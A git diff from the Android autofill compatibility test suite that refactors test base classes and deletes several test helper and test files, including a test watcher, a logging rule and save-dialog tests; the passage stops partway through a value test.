-        public static final SettingsStateKeeperRule sPublicServiceSettingsKeeper =
-                sTheRealServiceSettingsKeeper;
-
-        protected ManualActivityLaunch() {
-            this(sDefaultUiBot);
-        }
-
-        protected ManualActivityLaunch(@NonNull UiBot uiBot) {
-            super(uiBot);
-        }
-
-        @Override
-        protected TestRule getMainTestRule() {
-            // TODO: create a NoOpTestRule on common code
-            return new TestRule() {
-
-                @Override
-                public Statement apply(Statement base, Description description) {
-                    // Returns a no-op statements
-                    return new Statement() {
-                        @Override
-                        public void evaluate() throws Throwable {
-                            base.evaluate();
-                        }
-                    };
-                }
-            };
-        }
-
-        protected SimpleSaveActivity startSimpleSaveActivity() throws Exception {
-            final Intent intent = new Intent(mContext, SimpleSaveActivity.class)
-                    .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            mContext.startActivity(intent);
-            mUiBot.assertShownByRelativeId(SimpleSaveActivity.ID_LABEL);
-            return SimpleSaveActivity.getInstance();
-        }
-
-        protected PreSimpleSaveActivity startPreSimpleSaveActivity() throws Exception {
-            final Intent intent = new Intent(mContext, PreSimpleSaveActivity.class)
-                    .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            mContext.startActivity(intent);
-            mUiBot.assertShownByRelativeId(PreSimpleSaveActivity.ID_PRE_LABEL);
-            return PreSimpleSaveActivity.getInstance();
-        }
-    }
-
-    @RunWith(AndroidJUnit4.class)
-    // Must be public because of @ClassRule
-    public abstract static class BaseTestCase {
-
-        private static final String TAG = "AutoFillServiceTestCase";
-
-        protected static final Replier sReplier = InstrumentedAutoFillService.getReplier();
-
-        protected static final Context sContext = getInstrumentation().getTargetContext();
-
-        // Hack because JUnit requires that @ClassRule instance belong to a public class.
-        protected static final SettingsStateKeeperRule sTheRealServiceSettingsKeeper =
-                new SettingsStateKeeperRule(sContext, Settings.Secure.AUTOFILL_SERVICE) {
-            @Override
-            protected void preEvaluate(Description description) {
-                TestNameUtils.setCurrentTestClass(description.getClassName());
-            }
-
-            @Override
-            protected void postEvaluate(Description description) {
-                TestNameUtils.setCurrentTestClass(null);
-            }
-        };
-
-        public static final MockImeSessionRule sMockImeSessionRule = new MockImeSessionRule(
-                InstrumentationRegistry.getTargetContext(),
-                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
-                new ImeSettings.Builder().setInlineSuggestionsEnabled(true)
-                        .setInlineSuggestionViewContentDesc(InlineUiBot.SUGGESTION_STRIP_DESC));
-
-        protected static final RequiredFeatureRule sRequiredFeatureRule =
-                new RequiredFeatureRule(PackageManager.FEATURE_AUTOFILL);
-
-        private final AutofillTestWatcher mTestWatcher = new AutofillTestWatcher();
-
-        private final RetryRule mRetryRule =
-                new RetryRule(getNumberRetries(), () -> {
-                    // Between testing and retries, clean all launched activities to avoid
-                    // exception:
-                    //     Could not launch intent Intent { ... } within 45 seconds.
-                    mTestWatcher.cleanAllActivities();
-                });
-
-        private final AutofillLoggingTestRule mLoggingRule = new AutofillLoggingTestRule(TAG);
-
-        protected final SafeCleanerRule mSafeCleanerRule = new SafeCleanerRule()
-                .setDumper(mLoggingRule)
-                .run(() -> sReplier.assertNoUnhandledFillRequests())
-                .run(() -> sReplier.assertNoUnhandledSaveRequests())
-                .add(() -> { return sReplier.getExceptions(); });
-
-        @Rule
-        public final RuleChain mLookAllTheseRules = RuleChain
-                //
-                // requiredFeatureRule should be first so the test can be skipped right away
-                .outerRule(getRequiredFeaturesRule())
-                //
-                // mTestWatcher should always be one the first rules, as it defines the name of the
-                // test being ran and finishes dangling activities at the end
-                .around(mTestWatcher)
-                //
-                // sMockImeSessionRule make sure MockImeSession.create() is used to launch mock IME
-                .around(sMockImeSessionRule)
-                //
-                // mLoggingRule wraps the test but doesn't interfere with it
-                .around(mLoggingRule)
-                //
-                // mSafeCleanerRule will catch errors
-                .around(mSafeCleanerRule)
-                //
-                // mRetryRule should be closest to the main test as possible
-                .around(mRetryRule)
-                //
-                // Augmented Autofill should be disabled by default
-                .around(new DeviceConfigStateChangerRule(sContext, DeviceConfig.NAMESPACE_AUTOFILL,
-                        AutofillManager.DEVICE_CONFIG_AUTOFILL_SMART_SUGGESTION_SUPPORTED_MODES,
-                        Integer.toString(getSmartSuggestionMode())))
-                //
-                // Finally, let subclasses add their own rules (like ActivityTestRule)
-                .around(getMainTestRule());
-
-
-        protected final Context mContext = sContext;
-        protected final String mPackageName;
-        protected final UiBot mUiBot;
-
-        private BaseTestCase(@NonNull UiBot uiBot) {
-            mPackageName = mContext.getPackageName();
-            mUiBot = uiBot;
-            mUiBot.reset();
-        }
-
-        protected int getSmartSuggestionMode() {
-            return AutofillManager.FLAG_SMART_SUGGESTION_OFF;
-        }
-
-        /**
-         * Gets how many times a test should be retried.
-         *
-         * @return {@code 1} by default, unless overridden by subclasses or by a global settings
-         * named {@code CLASS_NAME + #getNumberRetries} or
-         * {@code CtsAutoFillServiceTestCases#getNumberRetries} (the former having a higher
-         * priority).
-         */
-        protected int getNumberRetries() {
-            final String localProp = getClass().getName() + "#getNumberRetries";
-            final Integer localValue = getNumberRetries(localProp);
-            if (localValue != null) return localValue.intValue();
-
-            final String globalProp = "CtsAutoFillServiceTestCases#getNumberRetries";
-            final Integer globalValue = getNumberRetries(globalProp);
-            if (globalValue != null) return globalValue.intValue();
-
-            return 1;
-        }
-
-        private Integer getNumberRetries(String prop) {
-            final String value = Settings.Global.getString(sContext.getContentResolver(), prop);
-            if (value != null) {
-                Log.i(TAG, "getNumberRetries(): overriding to " + value + " because of '" + prop
-                        + "' global setting");
-                try {
-                    return Integer.parseInt(value);
-                } catch (Exception e) {
-                    Log.w(TAG, "error parsing property '" + prop + "'='" + value + "'", e);
-                }
-            }
-            return null;
-        }
-
-        /**
-         * Gets a rule that defines which features must be present for this test to run.
-         *
-         * <p>By default it returns a rule that requires {@link PackageManager#FEATURE_AUTOFILL},
-         * but subclass can override to be more specific.
-         */
-        @NonNull
-        protected TestRule getRequiredFeaturesRule() {
-            return sRequiredFeatureRule;
-        }
-
-        /**
-         * Gets the test-specific {@link Rule @Rule}.
-         *
-         * <p>Sub-class <b>MUST</b> override this method instead of annotation their own rules,
-         * so the order is preserved.
-         *
-         */
-        @NonNull
-        protected abstract TestRule getMainTestRule();
-
-        @BeforeClass
-        public static void disableDefaultAugmentedService() {
-            Log.v(TAG, "@BeforeClass: disableDefaultAugmentedService()");
-            Helper.setDefaultAugmentedAutofillServiceEnabled(false);
-        }
-
-        @AfterClass
-        public static void enableDefaultAugmentedService() {
-            Log.v(TAG, "@AfterClass: enableDefaultAugmentedService()");
-            Helper.setDefaultAugmentedAutofillServiceEnabled(true);
-        }
-
-        @Before
-        public void prepareDevice() throws Exception {
-            Log.v(TAG, "@Before: prepareDevice()");
-
-            // Unlock screen.
-            runShellCommand("input keyevent KEYCODE_WAKEUP");
-
-            // Dismiss keyguard, in case it's set as "Swipe to unlock".
-            runShellCommand("wm dismiss-keyguard");
-
-            // Collapse notifications.
-            runShellCommand("cmd statusbar collapse");
-
-            // Set orientation as portrait, otherwise some tests might fail due to elements not
-            // fitting in, IME orientation, etc...
-            mUiBot.setScreenOrientation(UiBot.PORTRAIT);
-
-            // Wait until device is idle to avoid flakiness
-            mUiBot.waitForIdle();
-
-            // Clear Clipboard
-            // TODO(b/117768051): remove try/catch once fixed
-            try {
-                ((ClipboardManager) mContext.getSystemService(CLIPBOARD_SERVICE))
-                    .clearPrimaryClip();
-            } catch (Exception e) {
-                Log.e(TAG, "Ignoring exception clearing clipboard", e);
-            }
-        }
-
-        @Before
-        public void preTestCleanup() {
-            Log.v(TAG, "@Before: preTestCleanup()");
-
-            prepareServicePreTest();
-
-            InstrumentedAutoFillService.resetStaticState();
-            AuthenticationActivity.resetStaticState();
-            AugmentedAuthActivity.resetStaticState();
-            sReplier.reset();
-        }
-
-        /**
-         * Prepares the service before each test - by default, disables it
-         */
-        protected void prepareServicePreTest() {
-            Log.v(TAG, "prepareServicePreTest(): calling disableService()");
-            disableService();
-        }
-
-        /**
-         * Enables the {@link InstrumentedAutoFillService} for autofill for the current user.
-         */
-        protected void enableService() {
-            Helper.enableAutofillService(getContext(), SERVICE_NAME);
-        }
-
-        /**
-         * Disables the {@link InstrumentedAutoFillService} for autofill for the current user.
-         */
-        protected void disableService() {
-            Helper.disableAutofillService(getContext());
-        }
-
-        /**
-         * Asserts that the {@link InstrumentedAutoFillService} is enabled for the default user.
-         */
-        protected void assertServiceEnabled() {
-            Helper.assertAutofillServiceStatus(SERVICE_NAME, true);
-        }
-
-        /**
-         * Asserts that the {@link InstrumentedAutoFillService} is disabled for the default user.
-         */
-        protected void assertServiceDisabled() {
-            Helper.assertAutofillServiceStatus(SERVICE_NAME, false);
-        }
-
-        protected RemoteViews createPresentation(String message) {
-            return Helper.createPresentation(message);
-        }
-
-        protected RemoteViews createPresentationWithCancel(String message) {
-            final RemoteViews presentation = new RemoteViews(getContext()
-                    .getPackageName(), R.layout.list_item_cancel);
-            presentation.setTextViewText(R.id.text1, message);
-            return presentation;
-        }
-
-        protected InlinePresentation createInlinePresentation(String message) {
-            return Helper.createInlinePresentation(message);
-        }
-
-        protected InlinePresentation createInlinePresentation(String message,
-                                                              PendingIntent attribution) {
-            return Helper.createInlinePresentation(message, attribution);
-        }
-
-        @NonNull
-        protected AutofillManager getAutofillManager() {
-            return mContext.getSystemService(AutofillManager.class);
-        }
-    }
-
-    protected static final UiBot sDefaultUiBot = new UiBot();
-    protected static final UiBot sDefaultUiBot2 = new InlineUiBot();
-
-    private AutoFillServiceTestCase() {
-        throw new UnsupportedOperationException("Contain static stuff only");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
index 5f2d476..59a51d3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
@@ -16,15 +16,20 @@
 
 package android.autofillservice.cts;
 
-import static android.autofillservice.cts.FragmentContainerActivity.FRAGMENT_TAG;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
+import static android.autofillservice.cts.activities.FragmentContainerActivity.FRAGMENT_TAG;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.Helper.getContext;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
 
 import static com.google.common.truth.Truth.assertThat;
 
 import android.app.Fragment;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.activities.FragmentContainerActivity;
+import android.autofillservice.cts.activities.ManualAuthenticationActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
 import android.content.Intent;
 import android.service.autofill.SaveInfo;
 import android.view.ViewGroup;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
deleted file mode 100644
index b542bc7..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import androidx.test.rule.ActivityTestRule;
-
-/**
- * Custom {@link ActivityTestRule}.
- */
-public class AutofillActivityTestRule<T extends AbstractAutoFillActivity>
-        extends ActivityTestRule<T> {
-
-    public AutofillActivityTestRule(Class<T> activityClass) {
-        super(activityClass);
-    }
-
-    public AutofillActivityTestRule(Class<T> activityClass, boolean launchActivity) {
-        super(activityClass, false, launchActivity);
-    }
-
-    @Override
-    protected void afterActivityFinished() {
-        // AutofillTestWatcher does not need to watch for this activity as the ActivityTestRule
-        // will take care of finishing it...
-        AutofillTestWatcher.unregisterActivity("AutofillActivityTestRule.afterActivityFinished()",
-                getActivity());
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
deleted file mode 100644
index 07ce173..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-
-import com.android.compatibility.common.util.SafeCleanerRule;
-
-import org.junit.AssumptionViolatedException;
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-/**
- * Custom JUnit4 rule that improves autofill-related logging by:
- *
- * <ol>
- *   <li>Setting logging level to verbose before test start.
- *   <li>Call {@code dumpsys autofill} in case of failure.
- * </ol>
- */
-public class AutofillLoggingTestRule implements TestRule, SafeCleanerRule.Dumper {
-
-    private static final String TAG = "AutofillLoggingTestRule";
-
-    private final String mTag;
-    private boolean mDumped;
-
-    public AutofillLoggingTestRule(String tag) {
-        mTag = tag;
-    }
-
-    @Override
-    public Statement apply(Statement base, Description description) {
-        return new Statement() {
-
-            @Override
-            public void evaluate() throws Throwable {
-                final String testName = description.getDisplayName();
-                final String levelBefore = runShellCommand("cmd autofill get log_level");
-                if (!levelBefore.equals("verbose")) {
-                    runShellCommand("cmd autofill set log_level verbose");
-                }
-                try {
-                    base.evaluate();
-                } catch (Throwable t) {
-                    dump(testName, t);
-                    throw t;
-                } finally {
-                    try {
-                        if (!levelBefore.equals("verbose")) {
-                            runShellCommand("cmd autofill set log_level %s", levelBefore);
-                        }
-                    } finally {
-                        Log.v(TAG, "@After " + testName);
-                    }
-                }
-            }
-        };
-    }
-
-    @Override
-    public void dump(@NonNull String testName, @NonNull Throwable t) {
-        if (mDumped) {
-            Log.e(mTag, "dump(" + testName + "): already dumped");
-            return;
-        }
-        if ((t instanceof AssumptionViolatedException)) {
-            // This exception is used to indicate a test should be skipped and is
-            // ignored by JUnit runners - we don't need to dump it...
-            Log.w(TAG, "ignoring exception: " + t);
-            return;
-        }
-        Log.e(mTag, "Dumping after exception on " + testName, t);
-        Helper.dumpAutofillService(mTag);
-        final String activityDump = runShellCommand("dumpsys activity top");
-        Log.e(mTag, "top activity dump: \n" + activityDump);
-        mDumped = true;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillSaveDialogTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillSaveDialogTest.java
deleted file mode 100644
index 2c5dc0c..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillSaveDialogTest.java
+++ /dev/null
@@ -1,121 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
-
-import android.content.Context;
-import android.content.Intent;
-import android.view.View;
-
-import org.junit.Test;
-
-/**
- * Tests whether autofill save dialog is shown as expected.
- */
-public class AutofillSaveDialogTest extends AutoFillServiceTestCase.ManualActivityLaunch {
-
-    @Test
-    public void testShowSaveUiWhenLaunchActivityWithFlagClearTopAndSingleTop() throws Exception {
-        // Set service.
-        enableService();
-
-        // Start SimpleBeforeLoginActivity before login activity.
-        startActivityWithFlag(mContext, SimpleBeforeLoginActivity.class,
-                Intent.FLAG_ACTIVITY_NEW_TASK);
-        mUiBot.assertShownByRelativeId(SimpleBeforeLoginActivity.ID_BEFORE_LOGIN);
-
-        // Start LoginActivity.
-        startActivityWithFlag(SimpleBeforeLoginActivity.getCurrentActivity(), LoginActivity.class,
-                /* flags= */ 0);
-        mUiBot.assertShownByRelativeId(LoginActivity.ID_USERNAME_CONTAINER);
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_USERNAME)
-                .build());
-
-        // Trigger autofill on username.
-        LoginActivity loginActivity = LoginActivity.getCurrentActivity();
-        loginActivity.onUsername(View::requestFocus);
-
-        // Wait for fill request to be processed.
-        sReplier.getNextFillRequest();
-
-        // Set data.
-        loginActivity.onUsername((v) -> v.setText("test"));
-
-        // Start SimpleAfterLoginActivity after login activity.
-        startActivityWithFlag(loginActivity, SimpleAfterLoginActivity.class, /* flags= */ 0);
-        mUiBot.assertShownByRelativeId(SimpleAfterLoginActivity.ID_AFTER_LOGIN);
-
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_USERNAME);
-
-        // Restart SimpleBeforeLoginActivity with CLEAR_TOP and SINGLE_TOP.
-        startActivityWithFlag(SimpleAfterLoginActivity.getCurrentActivity(),
-                SimpleBeforeLoginActivity.class,
-                Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
-        mUiBot.assertShownByRelativeId(SimpleBeforeLoginActivity.ID_BEFORE_LOGIN);
-
-        // Verify save ui dialog.
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_USERNAME);
-    }
-
-    @Test
-    public void testShowSaveUiWhenLaunchActivityWithFlagClearTaskAndNewTask() throws Exception {
-        // Set service.
-        enableService();
-
-        // Start SimpleBeforeLoginActivity before login activity.
-        startActivityWithFlag(mContext, SimpleBeforeLoginActivity.class,
-                Intent.FLAG_ACTIVITY_NEW_TASK);
-        mUiBot.assertShownByRelativeId(SimpleBeforeLoginActivity.ID_BEFORE_LOGIN);
-
-        // Start LoginActivity.
-        startActivityWithFlag(SimpleBeforeLoginActivity.getCurrentActivity(), LoginActivity.class,
-                /* flags= */ 0);
-        mUiBot.assertShownByRelativeId(LoginActivity.ID_USERNAME_CONTAINER);
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_USERNAME)
-                .build());
-
-        // Trigger autofill on username.
-        LoginActivity loginActivity = LoginActivity.getCurrentActivity();
-        loginActivity.onUsername(View::requestFocus);
-
-        // Wait for fill request to be processed.
-        sReplier.getNextFillRequest();
-
-        // Set data.
-        loginActivity.onUsername((v) -> v.setText("test"));
-
-        // Start SimpleAfterLoginActivity with CLEAR_TASK and NEW_TASK after login activity.
-        startActivityWithFlag(loginActivity, SimpleAfterLoginActivity.class,
-                Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK);
-        mUiBot.assertShownByRelativeId(SimpleAfterLoginActivity.ID_AFTER_LOGIN);
-
-        // Verify save ui dialog.
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_USERNAME);
-    }
-
-    private void startActivityWithFlag(Context context, Class<?> clazz, int flags) {
-        final Intent intent = new Intent(context, clazz);
-        intent.setFlags(flags);
-        context.startActivity(intent);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillTestWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillTestWatcher.java
deleted file mode 100644
index ce2c7a2..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillTestWatcher.java
+++ /dev/null
@@ -1,165 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.util.ArraySet;
-import android.util.Log;
-
-import androidx.annotation.GuardedBy;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.TestNameUtils;
-
-import org.junit.rules.TestWatcher;
-import org.junit.runner.Description;
-
-import java.util.Set;
-
-/**
- * Custom {@link TestWatcher} that's the outer rule of all {@link AutoFillServiceTestCase} tests.
- *
- * <p>This class is not thread safe, but should be fine...
- */
-public final class AutofillTestWatcher extends TestWatcher {
-
-    /**
-     * Cleans up all launched activities between the tests and retries.
-     */
-    public void cleanAllActivities() {
-        try {
-            finishActivities();
-            waitUntilAllDestroyed();
-        } finally {
-            resetStaticState();
-        }
-    }
-
-    private static final String TAG = "AutofillTestWatcher";
-
-    @GuardedBy("sUnfinishedBusiness")
-    private static final Set<AbstractAutoFillActivity> sUnfinishedBusiness = new ArraySet<>();
-
-    @GuardedBy("sAllActivities")
-    private static final Set<AbstractAutoFillActivity> sAllActivities = new ArraySet<>();
-
-    @Override
-    protected void starting(Description description) {
-        resetStaticState();
-        final String testName = description.getDisplayName();
-        Log.i(TAG, "Starting " + testName);
-        TestNameUtils.setCurrentTestName(testName);
-    }
-
-    @Override
-    protected void finished(Description description) {
-        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
-        final String testName = description.getDisplayName();
-        cleanAllActivities();
-        Log.i(TAG, "Finished " + testName);
-        TestNameUtils.setCurrentTestName(null);
-    }
-
-    private void resetStaticState() {
-        synchronized (sUnfinishedBusiness) {
-            sUnfinishedBusiness.clear();
-        }
-        synchronized (sAllActivities) {
-            sAllActivities.clear();
-        }
-    }
-
-    /**
-     * Registers an activity so it's automatically finished (if necessary) after the test.
-     */
-    public static void registerActivity(@NonNull String where,
-            @NonNull AbstractAutoFillActivity activity) {
-        synchronized (sUnfinishedBusiness) {
-            if (sUnfinishedBusiness.contains(activity)) {
-                throw new IllegalStateException("Already registered " + activity);
-            }
-            Log.v(TAG, "registering activity on " + where + ": " + activity);
-            sUnfinishedBusiness.add(activity);
-            sAllActivities.add(activity);
-        }
-        synchronized (sAllActivities) {
-            sAllActivities.add(activity);
-
-        }
-    }
-
-    /**
-     * Unregisters an activity so it's not automatically finished after the test.
-     */
-    public static void unregisterActivity(@NonNull String where,
-            @NonNull AbstractAutoFillActivity activity) {
-        synchronized (sUnfinishedBusiness) {
-            final boolean unregistered = sUnfinishedBusiness.remove(activity);
-            if (unregistered) {
-                Log.d(TAG, "unregistered activity on " + where + ": " + activity);
-            } else {
-                Log.v(TAG, "ignoring already unregistered activity on " + where + ": " + activity);
-            }
-        }
-    }
-
-    /**
-     * Gets the instance of a previously registered activity.
-     */
-    @Nullable
-    public static <A extends AbstractAutoFillActivity> A getActivity(@NonNull Class<A> clazz) {
-        @SuppressWarnings("unchecked")
-        final A activity = (A) sAllActivities.stream().filter(a -> a.getClass().equals(clazz))
-                .findFirst()
-                .get();
-        return activity;
-    }
-
-    private void finishActivities() {
-        synchronized (sUnfinishedBusiness) {
-            if (sUnfinishedBusiness.isEmpty()) {
-                return;
-            }
-            Log.d(TAG, "Manually finishing " + sUnfinishedBusiness.size() + " activities");
-            for (AbstractAutoFillActivity activity : sUnfinishedBusiness) {
-                if (activity.isFinishing()) {
-                    Log.v(TAG, "Ignoring activity that isFinishing(): " + activity);
-                } else {
-                    Log.d(TAG, "Finishing activity: " + activity);
-                    activity.finishOnly();
-                }
-            }
-        }
-    }
-
-    private void waitUntilAllDestroyed() {
-        synchronized (sAllActivities) {
-            if (sAllActivities.isEmpty()) return;
-
-            Log.d(TAG, "Waiting until " + sAllActivities.size() + " activities are destroyed");
-            for (AbstractAutoFillActivity activity : sAllActivities) {
-                Log.d(TAG, "Waiting for " + activity);
-                try {
-                    activity.waintUntilDestroyed(Timeouts.ACTIVITY_RESURRECTION);
-                } catch (InterruptedException e) {
-                    Log.e(TAG, "interrupted waiting for " + activity + " to be destroyed");
-                    Thread.currentThread().interrupt();
-                }
-            }
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
deleted file mode 100644
index 5446b30..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
+++ /dev/null
@@ -1,543 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.icu.util.Calendar;
-import android.platform.test.annotations.AppModeFull;
-import android.view.View;
-import android.view.autofill.AutofillValue;
-import android.widget.CompoundButton;
-import android.widget.DatePicker;
-import android.widget.EditText;
-import android.widget.RadioButton;
-import android.widget.RadioGroup;
-import android.widget.Spinner;
-import android.widget.TimePicker;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import org.junit.Test;
-
-/*
- * TODO: refactor this class.
- *
- * It has 2 types of tests:
- *  1. unit tests that asserts AutofillValue methods
- *  2. integrationg tests that uses a the InstrumentedAutofillService
- *
- *  The unit tests (createXxxx*() should either be moved to the CtsViewTestCases module or to a
- *  class that does not need to extend AutoFillServiceTestCase.
- *
- *  Most integration tests overlap the tests on CheckoutActivityTest - we should remove the
- *  redundant tests and add more tests (like triggering autofill using different views) to
- *  CheckoutActivityTest.
- */
-@AppModeFull(reason = "Unit test")
-public class AutofillValueTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<AllAutofillableViewsActivity> {
-
-    private AllAutofillableViewsActivity mActivity;
-    private EditText mEditText;
-    private CompoundButton mCompoundButton;
-    private RadioGroup mRadioGroup;
-    private RadioButton mRadioButton1;
-    private RadioButton mRadioButton2;
-    private Spinner mSpinner;
-    private DatePicker mDatePicker;
-    private TimePicker mTimePicker;
-
-    private void setFields(AllAutofillableViewsActivity activity) {
-        mActivity = activity;
-
-        mEditText = (EditText) mActivity.findViewById(R.id.editText);
-        mCompoundButton = (CompoundButton) mActivity.findViewById(R.id.compoundButton);
-        mRadioGroup = (RadioGroup) mActivity.findViewById(R.id.radioGroup);
-        mRadioButton1 = (RadioButton) mActivity.findViewById(R.id.radioButton1);
-        mRadioButton2 = (RadioButton) mActivity.findViewById(R.id.radioButton2);
-        mSpinner = (Spinner) mActivity.findViewById(R.id.spinner);
-        mDatePicker = (DatePicker) mActivity.findViewById(R.id.datePicker);
-        mTimePicker = (TimePicker) mActivity.findViewById(R.id.timePicker);
-    }
-
-    @Override
-    protected AutofillActivityTestRule<AllAutofillableViewsActivity> getActivityRule() {
-        return new AutofillActivityTestRule<AllAutofillableViewsActivity>(
-                AllAutofillableViewsActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                setFields(getActivity());
-            }
-        };
-    }
-
-    @Test
-    public void createTextValue() throws Exception {
-        assertThat(AutofillValue.forText(null)).isNull();
-
-        assertThat(AutofillValue.forText("").isText()).isTrue();
-        assertThat(AutofillValue.forText("").isToggle()).isFalse();
-        assertThat(AutofillValue.forText("").isList()).isFalse();
-        assertThat(AutofillValue.forText("").isDate()).isFalse();
-
-        AutofillValue emptyV = AutofillValue.forText("");
-        assertThat(emptyV.getTextValue().toString()).isEqualTo("");
-
-        final AutofillValue v = AutofillValue.forText("someText");
-        assertThat(v.getTextValue()).isEqualTo("someText");
-
-        assertThrows(IllegalStateException.class, v::getToggleValue);
-        assertThrows(IllegalStateException.class, v::getListValue);
-        assertThrows(IllegalStateException.class, v::getDateValue);
-    }
-
-    @Test
-    public void createToggleValue() throws Exception {
-        assertThat(AutofillValue.forToggle(true).getToggleValue()).isTrue();
-        assertThat(AutofillValue.forToggle(false).getToggleValue()).isFalse();
-
-        assertThat(AutofillValue.forToggle(true).isText()).isFalse();
-        assertThat(AutofillValue.forToggle(true).isToggle()).isTrue();
-        assertThat(AutofillValue.forToggle(true).isList()).isFalse();
-        assertThat(AutofillValue.forToggle(true).isDate()).isFalse();
-
-
-        final AutofillValue v = AutofillValue.forToggle(true);
-
-        assertThrows(IllegalStateException.class, v::getTextValue);
-        assertThrows(IllegalStateException.class, v::getListValue);
